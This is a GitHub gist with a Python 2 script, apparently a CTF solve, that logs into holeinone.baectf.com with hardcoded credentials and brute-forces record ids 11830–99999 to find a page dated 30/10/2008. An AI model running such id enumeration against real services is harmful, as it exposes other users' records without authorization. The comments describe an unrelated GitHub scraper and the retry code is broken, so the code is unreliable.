Created
January 23, 2017 13:52
-
-
Save yfgeek/d38775aac03f3b2d7371d2bea17766d0 to your computer and use it in GitHub Desktop.
登录并暴力发送POST请求
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#-*- coding: utf-8 -*- | |
# Code by Ivan | |
# Automatically get some awesome project or repo from your following user everyday | |
# | |
# The first line of comments is English version | |
# | |
# Welcome to pull request | |
# Enjoy! | |
# Site:github.com/yfgeek | |
import os | |
import re | |
import sys | |
import urllib | |
import urllib2 | |
import time | |
import cookielib | |
from bs4 import BeautifulSoup | |
class Go(object): | |
# Initializaiton Constructor | |
def __init__(self,name,password): | |
self.user = name | |
self.password = password | |
self.cookie = cookielib.CookieJar() | |
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie)) | |
urllib2.install_opener(self.opener) | |
getCookieUrl = "http://holeinone.baectf.com/" | |
self.html = urllib2.urlopen(getCookieUrl).read() | |
# Browse the page to get Cookie | |
def _get_headers(self,referer): | |
headers = {} | |
headers['User-Agent']='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36' | |
headers['Connection']='keep-alive' | |
headers['Cache-Control']='max-age=0' | |
headers['Accept-Language']='zh-CN,zh;q=0.8,en;q=0.6' | |
headers['Accept']='text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' | |
headers['Referer']= referer | |
return headers | |
# sign in github.com | |
def login(self): | |
print "Getting the authenticity_token" | |
loginparams = { | |
'action':'login', | |
'user':'richardiii', | |
'pass':'poundanhour' | |
} | |
# post loginparams to login | |
req = urllib2.Request( 'http://holeinone.baectf.com/', urllib.urlencode(loginparams), headers=self._get_headers('http://holeinone.baectf.com/')) | |
tmp = 0 | |
try: | |
resp = urllib2.urlopen(req) | |
except : | |
if (tmp <100): | |
print 'Network conditions is not good.Reloading.' | |
self.login(self) | |
else: | |
print 'Fail to get it' + img['src'] | |
pass | |
tmp = tmp +1 | |
self.operate = self.opener.open(req) | |
thePage = resp.read().decode("utf-8") | |
# print the result of login | |
print "Login Successful \n" | |
return thePage | |
def getfile(self,id): | |
loginparams = { | |
'action':'view', | |
'id':id | |
} | |
# post loginparams to login | |
req = urllib2.Request( 'http://holeinone.baectf.com/', urllib.urlencode(loginparams), headers=self._get_headers('http://holeinone.baectf.com/')) | |
tmp = 0 | |
try: | |
resp = urllib2.urlopen(req) | |
except : | |
if (tmp <100): | |
print 'Network conditions is not good.Reloading.' | |
self.login(self) | |
else: | |
print 'Fail to get it' + img['src'] | |
pass | |
tmp = tmp +1 | |
self.operate = self.opener.open(req) | |
thePage = resp.read() | |
# print the result of login | |
return thePage | |
if __name__ == '__main__': | |
default_encoding = 'utf-8' | |
if sys.getdefaultencoding() != default_encoding: | |
reload(sys) | |
sys.setdefaultencoding(default_encoding) | |
# new object GithubFollow with parm1:username parm2:password | |
ga = Go('username','password') | |
# login | |
ga.login() | |
for i in range(11830,99999): | |
st = ga.getfile(i) | |
if "30/10/2008" in st: | |
print st |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment